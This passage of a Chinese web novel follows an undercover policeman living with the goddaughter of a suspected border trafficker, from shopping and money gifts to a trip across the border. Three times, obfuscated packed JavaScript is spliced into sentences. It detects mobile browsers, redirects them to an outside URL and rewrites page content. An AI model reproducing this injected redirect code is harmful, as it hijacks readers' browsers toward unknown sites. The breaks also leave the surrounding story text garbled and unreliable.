阿声指挥他转圈,360°观赏。她之前只看过他光溜溜的背面,现在从侧面看,他挺翘的臀部更为直观,将直筒裤穿出性感风。 舒照见她沉思,催问:“如何?” 他以前买衣服可没这么细致,能穿上,能蹲下,就能买走。有些固定牌子甚至看尺码也差不多了。 阿声:“挺好,要这条。” 舒照:“我再拿两条。” 阿声:“买两条一模一样的?” 舒照:“三条。” 阿声:“天天穿一样的?” 舒照:“省事。” 阿声:“会审美疲劳啊。我再给你挑两条不一样的。” 她眼光独到,按第一条牛仔裤的风格和尺寸,给他再挑了三条,又搭配了长袖卫衣和外套。小时候打扮布娃娃,长大了打扮男朋友——挂名的也算。 阿声掏钱包结账,舒照拦住,自己掏手机,说:“我不花女人的钱。” 阿声笑了笑。 这人有自己的坚持,在床下还算个男人。 她推开他的手腕,抽出银行卡,没叫他如愿。 “不是我的,是我干爹的。” 阿声顺道给他买了拖鞋。 一次性拖鞋不能沾水,舒照穿了两天,早成了丐帮鞋。 回到云樾居,舒照把新衣服剪标塞洗衣机,走回客厅。 阿声“哎”一声,他准确捕捉到跟“嗳”的差异。 阿声往茶几放了五块“红砖”。百元面额现金由白纸条捆成砖,每块厚度约一厘米,约莫是一万元。 舒照站着不动,看向她,满眼不解。 阿声坐到他对面的沙发,和他隔了一张谈判桌一样的茶几。 她问:“没见过这么多钱?” 舒照眼睛亮都不亮一下。 送外卖的陈嘉放没见过,审嫌犯的舒照见过,摸过,数过,没有一张属于过他。 他冷冷问:“什么意思?” 阿声:“你说呢?” 舒照无言。 阿声懒得卖关子,“干爹给你零花的。” 见他不为所动,阿声挑眉:“你不会以为我想包养你?” 舒照用目光肯定。 阿声翻白眼,抱起胳膊靠上沙发靠背,悠悠翘起腿:“你也不尽职啊。” “抽根烟。”舒照扔下风牛马不相及的一句,走出客厅阳台 这个人还挺讲究,从不在室内抽烟,但会往花盆塞烟头。反正她的多肉早就半死不活。 阿声扬声:“先把东西收好啊。” 舒照:“你帮我收。” 阳台推拉门拉起一半,他的声音受阻,比平日朦胧厚重,像带着心事。 整套房子,整个茶乡,没有一处属于他的地方。美色,金钱,罗伟强还会再用什么腐蚀他? 阿声:“你不是说想跟我干爹回茶乡发财,现在发财了,你又不开心。这只是他的九牛一毛,不拿白不拿,拿了不白拿。” 这个人上辈子要不是被贬的政客,要不是文人骚客,骨子里有一股不可亵渎的清高。 阿声看向钱砖,除了货款,没有一次性拿过这么多,说不心动不可能。 她挺欣赏这条水蛇,扛住了美色与金钱的诱惑,品格惊人。 阿声刚被罗伟强从边境村寨接到茶乡市区上初中时,零花钱花不完,学校环境比以前优良数倍,她也像这般谨慎而迷惘,甚至诚惶诚恐,不敢享受,花了很长时间才适应命运扭转。 她和他的命运都击响过相同的节拍。她不难理解他。 阿声说:“这是你应得的,以后还会有更多。” 舒照掐了烟头,“找个时间存银行。” 多了银行流水监管,这笔钱能降低挥霍的风险。 阿声完成罗伟强的任务,松一口气,说:“明天早上早点出门。” 舒照转身抽第二根烟。 阿声把钱砖装进牛皮纸袋。 又到了每晚最难熬的上床时间。舒照平躺,枕着一条胳膊,另一条留给阿声。 阿声依旧无忧无虑先睡着。 舒照昏昏沉沉间,感觉胸口多了一股压迫,有东西压着他。 他猛然惊醒,梗直脖子撑起脑袋,以为阿声又多手多脚。 在他的胸膛上方,一双圆溜溜的眼睛与他四目相对,充满好奇和无辜。 压力比想象中的小,接触面积也小。 不是阿声,只是她的猫。 舒照松一口气,脑袋砸回枕头。他后背发凉,抽出枕着的胳膊摸了摸大白猫。咪咪毛绒软滑,昏暗里变成了大灰猫。 咪咪蹲起来打哈欠,嘴巴像猛蛇张口,压强增大,舒照疼得呻吟一声。 阿声侧卧,臀部处较高,像起伏的山岭。 猫喜欢登高望远,跨过去蹲下。 阿声也迷迷糊糊呻吟,想抖掉大肥猫,半边身压上舒照,把咪咪倒掉。 咪咪伸了一个揽腰,咕噜了一声,绕到阿声的枕头上,紧挨着她的头顶卧倒。 黑暗中,舒照顾着看咪咪,才发现阿声一条腿跨上来,膝盖不小心顶了下他的要害,差点引蛇出洞。 舒照皱眉按下她的膝盖。 阿声梦呓般哼哼唧唧,搂上他的腹肌。 舒照的睡衣衣摆自然卷起,露出一截腰肉。阿声摸到格外温热的肌肉,面积比胳膊的大,下意识搓了搓,想确认真假似的。 舒照怕她往下掏,把她的手拉回胳膊。 胳膊成为他不算底线的底线。 他的胳膊成了树干,阿声的才是美人蛇,缠绕他,沿着上臂往下,滑过手肘、手腕,滑进他自然张开的手心,扣住他的五指。 舒照靠近她的半边身僵硬,没扣回她。她便退出一截,再侵入,反反复复扣住他,将她指尖的细腻与清香,一点一点搓给他,滋润他干燥而粗糙的手掌。 她收放有度,像抓住了他另一个地方。 那边也像手指,里面是硬骨头,外面裹了薄薄的皮肉。 十来度的夜里,舒照额角生生冒汗。 成为水蛇之前,舒照也是正常男人。 舒照要做正常男人,就不能当水蛇。 他抽出手,坐起身。 阿声开口,初醒的嗓音有点哑:“去哪?” “放水。” 舒照远离阿声,理智渐渐归位。 他心底清楚,对这个女人,只有原始欲望,没有丁点感情。 而色字头上一把刀。 次日到“抚云作银”前,阿声带舒照去ATM存钱。他存了4万,留1万零用。 中午阿丽外出去吃饭,阿声看店,舒照去附近饭店打包,比叫店里送餐快一点。 阿声收拾干净玻璃小圆几,便见舒照拎了两盒饭,怀抱一束山茶花回来。 阿声看着花,愣了下:“你又跑外卖?” 舒照将盒饭袋子放上小圆几,“是啊。” 待阿声走近,舒照将花束塞她怀里。 阿声不得不抱住:“给我的?” 她玩味地看着舒照,无事献殷勤,非奸即盗,但两样都跟水蛇不沾边。 她看花也像昨晚他看钱砖,没有眼前一亮的惊喜,都略带防备。 阿声低头嗅了嗅,气味清淡,红山茶颜色贵气,跟银饰的天然色泽相得益彰,一起拍照像迎接红红火火的新年。 舒照说:“看你店里的快枯了。” 阿声今早把店里的红色康乃馨搬到角落,准备有空再换新的花,或者直接插省事的永生花。 她怀疑他根据花色随便挑的。 阿声笑吟吟打趣:“送我就送我,没什么不好意思承认啊。” 舒照也笑,就是不承认:“你昨天给我买衣服了。” 也不知道他算开窍,还是礼尚往来。阿声懒得深思,“跟店里太配了,谢谢你。” 舒照总要偶尔哄一下,让阿声对他放松监视和警惕,日子才自由一点。 阿丽吃完饭回来,问:“阿声姐,老板娘要过来了吗?” 阿声:“没听说,怎么了?” 阿丽:“刚刚我在停车场看到她的车。” 步行街公厕连着一片露天停车场,阿声的车就停在那边。 阿声:“没看错吧?” 阿丽:“绝对没有,红色宝马,一看就知道。” 舒照问她:“你不是老板娘?” 平常顾客喊老板娘,阿声懒得纠正,但阿丽不喊她。 阿声指了下墙上营业执照,用的是李娇娇的名字。舒照还不清楚阿声的大名,昨天就看到了,没有多问。 阿丽帮忙解释:“都是老板娘。” 罗伟强说店给阿声,利润按4:3:3比例分成,罗伟强拿4成,阿声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980408|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿3成,剩下的3成用于本金回收。李娇娇每月帮罗伟强对账,难免跟阿声起争执。 阿声嫌弃李娇娇懂的少,管得多,解释费口舌。李娇娇怀疑阿声捞油水,互相看不顺眼。而罗伟强借此牵制两个女人,不让她们太亲密,但也不会翻脸。 说曹操曹操到,李娇娇出现在店门口。 阿丽先喊了娇姐,舒照跟上。 阿声:“娇姐,今天怎么有空过来?” 李娇娇富含深意,扫了眼站在柜台外的舒照,“我来看看这个帅哥。来茶乡还适应吗?” 阿声目光防备,怕李娇娇给水蛇挖坑让他钻。 水蛇有着狗一样的忠诚,知道哪个才是主人。 舒照示意阿声:“有阿声在,没碰上什么困难。谢谢娇姐关心。” 阿声古怪看了舒照一眼,心有微妙,怀疑他的台词。年轻男女同一屋檐,并没有鱼水之欢的和谐,充斥着明里暗里的较劲。 舒照默默在帮忙粉饰太平。 她和他成了同一根绳上的蚱蜢。 李娇娇:“看来阿声对你还不错啊。” 舒照又看声一眼,憋着笑,落在外人眼里,成了情侣间羞涩的情意。 他说:“嗯,阿声挺不错。” 阿声唇角隐隐抽动,转移话题微妙,免得给他添油加醋,说到后面可能露马脚。 “娇姐,今天是要看账吗?” 李娇娇:“没事看什么账,看那东西我头晕眼花。难道你有什么要我看的?” 阿声:“一切照旧。” 李娇娇:“那不就是。” 店里进来一对闺蜜,阿声和阿丽迎上去。李娇娇和舒照落单在门口。 李娇娇示意一眼阿声,稍稍降低声调:“水蛇啊,她脾气古怪,要是说了什么不好听的话,你别跟她一般见识。” 舒照也看向阿声。 阿声有客源时当他是空气,在她眼里,工作远比男色重要。 舒照:“还行。她好像不太乐意听人叫黑妹,又不告诉原因。我看她长得也不黑啊,跟娇姐你一样白。” 没人不爱听夸奖。李娇娇的美貌逐年走下坡路,帅哥不经意的夸奖还是让她很受用。 李娇娇笑道:“不是皮肤黑的黑。” 舒照想起罗汉的玩笑,见她对阿声评价也不算太妙,故意说:“难道是心黑?” 李娇娇哈哈笑,能一起背后说坏话就是盟友。 “她以前上的边民小学,里面的学生十个起码有八个是缅甸小孩,然后我们这边的小孩以为她是缅甸人,没有户口才去上这种小学,就叫她黑妹。” 李娇娇怕舒照没听过边民小学,又解释一遍。 以前两国划线时,同一个寨子有一部分人分到了对面。后来国家为了稳定边境线,让两国边民接受同样的教育,每天都有缅甸边民小孩跨境来求学。多一个受教育的小孩,就能少一个混社会的二流子,降低边境线上的犯罪率。 舒照开始怀疑阿声的国籍。靠近边境线,很多边民过来学习、工作和定居,一切皆有可能。 阿声接待完顾客,瞟了一眼李娇娇和舒照,两人也像聊完了。 李娇娇:“没事我先走了,月底再来。” 阿声:“慢走。” 冬夜人少,阿声比天热时早关店一个小时。天冷也饿得快,阿声带舒照去佤族嬢嬢打包烧烤和老牌啤酒回家。正好明日钟点工阿姨上门清扫。 电视机放着综艺节目,宵夜摊开在茶几,他们并排坐沙发,仍隔着一个人的身位。 阿声问:“下午娇姐跟你说什么?” 舒照:“这也要跟你汇报?” 阿声听出排斥,怀疑他胳膊肘往外拐,白了他一眼。 舒照再次确认阿声跟李娇娇有过节,他的立场决定他以后的安稳。 他投诚回答:“她跟我说你为什么叫黑妹。” 阿声哑然一瞬,吃瘪的样子让舒照莫名觉得可爱。 他说:“黑户的黑,是么?” 阿声咬牙切齿:“这女人真是个大嘴巴。” 舒照:“你是中国人吧?” 阿声一顿:“你说呢?” 舒照乘胜追击:“你大名叫什么?” 阿声端着半杯老牌啤酒,点点自己的脸颊:“嗯?” 舒照迷惑片刻,回过神。她的秘密依旧值得他一个吻。 阿声醉眼迷蒙,笑容不安好心:“不懂啊?我教你。” 她饮一口啤酒,放下酒杯,忽地挪近,揽过舒照的肩头。 她没再给他磨蹭的机会。 阿声以啤酒做印油,往舒照的薄唇上浅浅盖了章。 8.第 8 章 舒照酒精熏心,降低了防备。对阿声,他也算不上严防死守,也没步步沦陷。 他怔了怔,不忘正事,朝她伸手:“身份证。” 阿声脑子一热亲了他,没遭推拒或追究,正合她意。 她收手放下酒杯,掏手袋找出钱包,再抽身份证。 舒照要接,阿声没让他得逞。她倒头栽在他的大腿上,像在汉兰达第三排时一样,又比那时亲昵。她的脸颊快挨上牛仔裤鼓凸的拉链。 阿声平躺,两指夹着身份证,递小费似的。 “喏,赏你十秒。” 舒照还想接过,又接了把空气。 阿声举手挪远了。她的手指盖住地址和号码,只露出名字、民族和照片,顺手晃了下背面国徽。 阿声:“十、九、八、七六五四三二一!好了!” 转瞬,她将身份证塞进胸口,低胸衣领只冒出卡片的一角。 舒照要抽出来,也不是不行…… 他说:“假证啊?还怕给人看?” 阿声在用的手机号码、微信和昨晚刷的银行卡都登记在李娇娇名下,因为跟店铺关联,也说得通。 阿声生气坐起,白他一眼,喝光杯里的啤酒。 舒照:“你名字谁起的?看着不太像少数民族的名字。” 阿声:“起名字的是你们汉人。” 表述听着有点古怪,仿佛起名字的人跟她瓜葛不深,或者关系不良。 就算作为一个汉族女孩名,她的名字过于潦草,只多了一个赵姓。小孩民族或姓氏可以随父母其中一方,不少少数民族的名字都有对应的汉字。 舒照:“你爸还是你妈?” 阿声:“你那么八卦?” 舒照:“随便问问。” 阿声:“好奇害死猫。” 舒照:“下次见到我要问问。” 阿声:“嗯?” 舒照:“为什么起这个名字。” 阿声:“那你问呗。” 舒照顿了顿,不知不觉获得见她爸妈的权利。 他问:“你爸妈在老家?” 阿声讶然,“才亲你一口,就想见我爸妈?” 舒照没答,隐隐怕阿声当真。他可以骗她干爹,如无意外,不想再骗她的亲爹。 阿声:“见我爸有点困难,你最好还是别见了。见我妈容易,下个月带你回寨子吃杀猪饭。” 舒照:“你爸……” 阿声:“嗯,我上初中。” 寥寥几语,他们完成信息交换,默契又克制,尊重隐私而敬畏死亡。 舒照哑了哑,倾身给阿声满上啤酒。 “这啤酒口感不错,来茶乡之前没喝过,来。” 他们一人一瓶啤酒,暖身而微醺,缓过来后洗澡上床。 不知谈论旧事还是酒精作用,阿声朦朦胧胧间,看到有人流血。不知道是谁,男人或女人,只肯定是人。 阿声吓一跳,四肢抽搐一瞬,支起脑袋,迷惘看一眼周围。 血色消失,只有黑暗。 “嗯?”她喃喃,半梦半醒,像在寻找什么。 “做噩梦了?”耳旁冷不丁冒出一道男声,不咸不淡,没有感情。 阿声意识到她梦醒了。她再一次发现,无论何时,水蛇总醒得比她早,像一直没睡。 阿声脑袋砸回枕头,背向他,蜷起腿,抱住膝盖,微微喘气。 她以前做过一次类似的梦,写进日记里,印象深刻。梦醒的一瞬,她分不清刚刚想起的是梦境,还是日记记录。梦里的人总是面孔缺失。 阿声身后传来窸窸窣窣动静。她没动,后背忽然抵上一面结实的胸膛,一条胳膊把她揽进怀里。舒照第一次主动抱住她。 他的怀抱宽阔而紧实,吸收掉她的战栗,阿声不再需要自己想象或者索取安全感。紧绷的肩膀渐渐放松,双腿一节一节舒展,她呼吸越来越平稳,沉沉睡去。 次晨闹铃响,阿声睁眼。 舒照又比她醒得早,扭头看她,没特别表情。 阿声不知几时又翻成之前的睡姿,抱着他的腰,但后背多了一条胳膊。 他也在抱她。他还在抱她。 阿声原本一直主动,他没回应,她便拿他当消遣,毕竟水蛇跟玩具一样,不会反击或离开;他偶然回应,有了互动,玩具变成了宠物,主人只会觉得更有意思。 阿声撑起半身,俯视着他。她的长卷发凌乱飘逸,扫过他的肩头,搔痒了他的脖颈。 舒照不知道哪根筋搭错,捻了一下她的发尾,黑而不软。听说头发粗的人脾气火爆,阿声大概处于中等水平。 他的举动落在阿声眼里,成了迷恋,无形催化了暧昧的氛围。 她大着胆子,用拇指轻按他的薄唇,有点干燥,真想帮忙润一润。 舒照抿嘴甩头,撇掉她的手。 他不能跟她闹僵,但稍微搞好关系,她又得寸进尺。 阿声没再强迫他,“嗳,人家说嘴唇薄的人,嘴皮子厉害,感觉你不太爱讲话呢。” 舒照:“研究我做什么?” 话毕,他好像搬起石头砸自己的脚。他刚借她的头发研究她的脾气。 阿声:“无聊。” 舒照还以为她会说好奇。好奇是深入了解的恒久驱动力,无聊只是转瞬即逝的表面因素。他对她生出期待,这不太妙。 他说:“无聊就起来开店挣钱。” 阿声利索起身:“好啊,带你吃香的喝辣的。” 舒照逐段收起揽她的那条胳膊,像收一根生锈的三节棍,每一个关节都不太灵活。 他在她背后活动一下筋骨,“店里好像没有太多我的事,我能不能到处走走,熟悉一下茶乡?” 阿声:“想翘班?” 舒照:“就在步行街附近转转,看看有没有健身房之类。” 阿声见识过他穿短袖时的体格,但似乎练了也用不上。 她笑道:“又没拴住你。” 舒照:“老板娘英明。” 九点半,抚云作银。 阿声来开店不久,阿丽到班。趁着客人没来,舒照借口逛一下步行街,也到公厕旁的停车场“开张”。 “老家”的“老嘢”反馈回舒照要的资料。 阿声大名不常见,加上少数民族,年龄和居住范围,符合条件的户籍信息少,内部系统锁定一人。 舒照看了发来的照片,确认就是阿声。 户籍资料显示,阿声爸已故,阿声妈现年70岁,跟阿声相差46岁,是收养关系。年代久远,详细收养资料需要实地了解。 阿声在贫困县的寨子长大,上的边民小学,养父母年迈,长得矮小,可以想象一路成长面对的困境。如今的性格是与环境搏斗达成的平衡。 “老嘢”留了一句话:她跟罗什么关系? 舒照回复:罗的干女儿,银饰店个体户。还在摸底。 她可能是罗伟强和某个情人的女儿。这个情人也可能是李娇娇。她跟两人长相都不太像,不能100%排除这种可能性。 但如果是亲生女儿,罗伟强为什么不自己养?他完全有财力,把她丢给她的亲生母亲。 阿声和罗伟强结缘的原因也不清楚。 阿声像一个谜。 “老家”的信息让舒照短暂回归警察的身份,阿声存疑的身份也削弱了她的诱惑力,两股力量交错束缚他,他又多了几分自持与理智。 倏然间,舒照察觉到其他目光,抬头,只见阿声逼近。 屏幕倾斜,删记录,锁屏,小动作一气呵成,每一条都是渣男必备操作。 阿声问:“在这干什么?” 这是进出露天停车场的人行通道,位于公车和上铺之间,由一排铁柱拦住。 舒照迎着公厕,站商铺墙根。 他眯眼兜起手机,“晒太阳。” 公厕低矮,挡不住冬日暖阳。 阿声:“跟哪个美女发消息呢?” 舒照:“美女就在眼前,用不着发消息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他问:“他有没有跟什么人联系?” 阿声立刻想起白日露天停车场的出入口,水蛇一个人玩手机。 她说:“他吃住都跟我在一起,晚上睡觉手机放我这边床头柜充电,没发现跟谁打电话或者见面。” 罗伟强蹙眉沉思:“你多观察,多跟你娇姐学学。” 阿声听糊涂了,跟李娇娇聊什么? 李娇娇爱挑刺,阿声看不到其他想学的地方。 李娇娇倒是对罗伟强的新情人嗅觉灵敏,罗伟强只要有新情人,不出一个月,她总能挖到。 阿声下地下室跟水蛇汇合,跟他开皇冠回云樾居。 罗伟强还在休养,今晚禁酒,阿声由他开车,问:“你们聊什么?” 舒照给了一个“又要汇报”的眼神,“讲你坏话。” 阿声扯扯嘴角,“我就知道。” 两人吵架时,李娇娇骂过她黑妹出身,大小姐脾气,要不是罗伟强垂青,让她攀高枝,她早被扔回对面。 舒照:“讲什么?” 阿声不中计,“你说。” 舒照:“骗你的。聊罗汉有次睡着,被一个女的偷走手机和所有现金,连金戒指也拔走。” 阿声不是第一次听,说:“活该,色字头上一把刀。” 舒照:“嗯?你不也想对我动刀?” 茶乡是阿声的主场,输人不输阵,床上用手刀,床下用嘴刀。 她旋即转移话题:“你猜干爹和我聊什么?” 舒照听出来准没好话,没接茬,目不斜视开车。 阿声倾身压着扶手箱,凑到舒照肩头。要不是顾及行车安全,她下巴能枕上他的肩头。 “水蛇,干爹问我,你是不是跟什么人保持秘密联系?” 9.第 9 章 舒照心头咯噔一下,第一反应是白日在露天停车场出入口那一幕,应该没有破绽才对。他并非囚犯,跟外界保持联系很正常,如果刻意断联,反而疑点重重。 他该相信哪种,罗伟强主动发问,还是阿声告状? 两种可能性一样大。干爹和义女的利益纠葛深厚,远超水蛇和阿声的露水情缘。 舒照回避问题,往男女关系上扯,相对安全。 他说:“你又怀疑我老家有人?” 阿声一时没接茬,琢磨他的反应多于回答内容。内容可以撒谎,微妙的第一反应骗不了人。 舒照单手扶着方向盘,欠身从裤兜抽出手机,递过去。他还看着挡风玻璃,不小心打到阿声的胸,隔着手机也弹软。 舒照抽空瞥了一眼,道歉溜到嘴边,又咽下,还是当无赖稳妥。 他说:“查啊。” 阿声瞪他,抢过手机,下意识打开他的手。 她说:“别以为我不知道你们这些男人,该删的早删了。” 罗汉有段时间同时钓了两个罗汉果,A果身材好,B果性格好,他两个都舍不得,每次见面前总要删一轮记录。有次罗汉误删了阿声的取货通知,耽误了送货。之后阿声差他办事,直接电话通知。 舒照问:“你那么了解男人,有过几个?” 问题很尖锐,要是普通情侣,早闹起来了。 阿声选择性耳聋,问题攻击性为零。 她举着手机,“密码。” 舒照冷着脸。 阿声:“快点。” 舒照:“486153。” 阿声:“代表什么意义?” 舒照:“密码。” 阿声:“有意义才记得住。” 舒照:“你慢慢想,我开车。” “哎?!”语气在质疑他造反。 阿声试密码,屏幕开开锁锁,重复了几次。 她问:“向上的箭头?” 在数字九宫格上,三点连成线,构成两个向上的箭头符号“^”。 舒照扫了阿声一眼,默认。他意外她能猜对,有种看她寻宝成功的惊喜。这种雀跃不长久,也不深刻,却能为漫长的冬夜多添一份小小的乐趣,两颗疏远的心灵多一份默契。 阿声没翻他微信或相册,只点开相机,调成前置摄像头,单手自拍。 她下巴微挑,呲牙搞怪笑,然后把照片设置成锁屏壁纸。 阿声:“给你换张美女壁纸。” 趁红灯停车,舒照接回手机一看,她笑起来果然能露出八颗白牙。他哼笑一声,无奈的背面是纵容。 他说:“美。” 阿声听出敷衍,白他一眼。她往车窗支肘托着脸颊,手指时而点动,陷入沉思。 舒照也在琢磨。 没破绽?还是阿声在维护他? 他宁愿相信前者。 阿声对他,像消极怠工的监视器,盯梢没有想象中的紧。以后多顺着她的性子,她应该不会乱挑事。 返店盘点完,他们才回云樾居,阿声一头扎进工作室。 舒照去过打银的手工坊,地方不大,只有一个老师傅,像一个稍微精致的打铁铺。阿声家里的更像书房,没有脏乱的水渍、粉尘或明火。她在电脑上绘制东西。 他倚着门框,默默看了一个大概,应该是首饰。 他问:“弄什么?” 阿声头也不回,“给你盖个章。” 房里只有阿声坐的转椅,舒照成了无座的不速之客,站在她身旁,撑着桌沿附身。 屏幕上果真是首饰款式,一条小蛇盘绕在三节竹节上。 舒照:“给我的?” 阿声:“嗯。” 舒照:“男人不戴首饰。” 阿声无声嗤笑,下了床倒记得自己是个男人。 她说:“你在店里戴着晃一下,当个模特,说不定可以帮我把新款推销出去。” 舒照:“没那么大魅力。” 阿声:“啧,你没发现很多小姑娘进来都会偷偷看你吗?” 舒照:“你偷偷看我?” 阿声:“哎?!” 舒照:“你不也是小姑娘。” 阿声一时不知该计较他说她幼稚,还是夸她可爱。 舒照说:“不然你为什么能留意到别人偷偷看我?” 阿声:“我用得着偷偷么,我光明正大。” 舒照渐渐对她的厚脸皮免疫。 阿声伸了一个长长的懒腰,“OK,画完了,明天开始雕蜡模。” 3D打印蜡模更省事,但是机器昂贵,小作坊还是沿用传统做法。白日闲时阿声就在店里雕蜡,晚上送去作坊注入石膏,等干透脱蜡就成了打银的模具。耗时几天,细如筷子、长约半根手指的白银“竹蛇”终于面世。 阿丽凑来围观,“阿声姐,又做新款啊?” 阿声:“嗯,给水蛇的。” 阿丽交替看着男女主角,一个在柜台里,一个站在门边,同时出现在店里时从不亲近,看着像热恋期刻意避嫌。 她说:“看起来真不错。” 阿声将“竹蛇”跟不同颜色和粗细的编绳比对,最后停在黑色上。 “准备编个黑手绳。” 阿声挑的粗绳,编得很快,招呼水蛇过来,给他戴上。 三节竹节带着微微的弧度,自然贴合腕部曲线。银的白,绳的黑,两种极端的纯色,再搭上舒照本就黝黑的肤色,三种色互相碰撞,彩粗犷而野性,手绳像拴住褐色野马的缰绳。 明年生肖是猪,还没到蛇,款式应该不会热销。加之冬天穿长袖,袖口盖着手绳,让舒照当展示架纯属无稽之谈,阿声应该就是单纯想给他戴。 舒照转动手腕欣赏。手绳莫名多了一种项圈的意味,他好像要被套牢。 阿声嫌弃他手背干燥,手把手给他抹上“阿声味”的护手霜。 阿丽第一次看老板娘像腌肉一样搓一个男人的手,非礼勿视地憋笑,低头玩手机。 舒照由着阿声搓揉,看玻璃柜台里每一件银饰都有名字标签,但顾客往往先看到醒目的价格。 他问:“这个叫什么名字?” 起名是一个难题,阿声随口说:“竹龙。” 舒照:“竹笼?” 阿声顾名思义:“竹是君子,蛇是小龙,不是你吗?” 舒照顿了顿,一时听不出她夸赞他的气节,还是嘲讽他假清高。 他反问:“给我戴高帽?” 阿声但笑不语,收手给自己手背也抹匀护手霜。 舒照抚摸微凉的白银“竹龙”,竹报平安,灵蛇献瑞,倒是一个好意象。 两人四目相撞,眼神比以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987735|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前胶着。 舒照在阿声眼里竟看出点点期待,送礼物本就需要被肯定。说谢谢不够,对于普通朋友都算敷衍,他们关系超乎普通朋友,总要另一种方式的反馈。 他说不清顾及阿丽在场,还是要继续当“竹君子”,迟迟没反应。 阿声错开目光,他的机会流失了。 阿声去公厕,店里仅剩舒照和阿丽。他从闲聊中打听到阿声就是一个工作狂,除了前阵子去海城关门几天,一年到头都守在店里;阿丽每周一天假期,阿声没有假期。 舒照说:“听起来都没空约会啊。” 阿丽:“你们可以去啊,店里我一个人守也行了。” 舒照:“你在这里做了多久了?” 阿丽说:“这个店开多久,我就待了多久,两年吧。” 时间匹配上阿声身份证上的年龄,刚好大学毕业两年。年纪轻轻,她就磨砺出了雷厉风行的风格。 他推测阿声之前应该没有约会对象,社会关系没有预想中的复杂。 店里进了一个年轻女孩,阿丽忙过去招呼。 舒照倚着柜台,衣袖微微上缩,暴露了手绳。 女孩说给男朋友挑手绳或戒指,左看右看,瞥见舒照的。 她问:“这帅哥戴的款式也是店里的吗?” 舒照闻言,伸手展示:“这条吗?” 女孩走近一步,点头道:“对啊,挺好看的,这是竹子和蛇吗?” 阿丽拿不准这是不是老板娘的孤品定情信物,给舒照使眼色,指望当事人拿主意。 舒照遥遥瞥见阿声的身影,不疾不徐:“这是老板娘做的新款,我要问问她卖不卖。” 阿声闻言跨进门,“卖什么?” 舒照抬手晃晃手绳。 阿声了然一笑。 若是价格合适,男人都能卖。 阿声亲昵地拉过舒照的手,撸起一截袖子,不客气脱下手绳给女孩:“你也觉得这个好看?可以试戴看看。” 阿丽看愣了,什么孤品定情信物?绝无可能。 舒照只是“竹龙”的展示架,并非唯一拥有者。他再次看清阿声的意图,不可能对他守心或认真,瞬时轻松许多。 女孩要的是新款,没有现成的石膏模具,定制耗时三到五个工作日。 阿声喜滋滋开了单,送女孩出门。 舒照自己戴回手绳,看阿丽出店,说:“拉链和罗汉喊我出去玩几天。” 阿声:“嗯?去哪?” 舒照:“对面。” 阿声回过神:“玩女人啊?” 舒照自如笑道:“不能。” 那就还有可能去赌场。 阿声嗤笑,心底有种果然如此的释然。男人本性如此。她难免有一点点失望,竹是君子,他是男人,不能免俗。 舒照说:“我过几天回来。” 阿声低头给其他银饰编绳,嫌他啰嗦,没吱声。 熟悉的清香扑鼻而来,她还没反应过来,温暖的触感一同袭来,脸蛋被摸了一下。对方不是蜻蜓点水,明显轻轻揉了揉。 阿声脖子一梗,抬头,只见水蛇笑了笑。 “走了。” 颀长的背影闪出门口,头也不回,转瞬消失在视野里。 阿声愣了片刻,手背贴了下还发烫的脸颊,低声笑骂:“神经病。” 10.第 10 章 拉链和罗汉带舒照办了证去对面玩。缅甸局势动荡,娱乐场所相对安全,当地也指望灰色地带营收。 舒照一路琢磨,罗伟强的源头工厂在哪。如果在境内,可以一锅端;在境外比较麻烦,他们只能斩断跨过边境线的魔爪。 舒照探他们口风:“你们经常出来玩?” 罗汉说:“哪呢,哥还不想吃西北风。” 人理智时都明白,去赌场等于默认送钱。 舒照:“澳门赌场也多,你们去过那边吗?” 罗汉笑道:“‘开张’才能去澳门啊,从海城过去方便,那得大手笔。” 关键词“开张”触及警报系统,拉链暗暗给罗汉使眼色。 罗汉装没看见。 他说什么了? 毛都没讲。 三人过境换车,车牌变黄牌,文字变成藤蔓与气泡,当地司机是当年被分过去的佤族人后代,也会讲中文。 街道除了部分招牌文字不同,环境像国内小县城。 司机把他们拉到度假村,到处都有中文指示牌。 舒照随口搬出阿声当挡箭牌,说:“这地方看这不错,早知道喊阿声一起来玩。” 罗汉用男人都懂的口吻说:“兄弟,哥哥好心提醒你一句,喊黑妹你就玩得不开心了。” 拉链:“黑妹跟拼命三妹一样,要看店卖货,才懒得跟我们一起混。” 罗汉忽然隐晦嘿嘿,“忙着卖银。” 舒照眉心拧成结,冷冷开口:“罗汉。” 拉链也给罗汉使眼色,这玩笑的确开过火了,若是黑妹在场,罗汉绝不敢造次。 罗汉毫无歉意,装模作样轻轻给自己掌嘴,“哎哟,对不住水蛇兄弟,不要跟我一般见识。” 三人陆续下车。 拉链圆场:“既然过来了,就不要想过去的事。强叔叫我们尽兴玩,特别是你,水蛇——” 他朝舒照挑下巴,“罗叔怕你放不开,让我们两个多带带你。” 茶乡,抚云作银。 阿声刚送走客人,迎来两个穿藏青制服的警察。 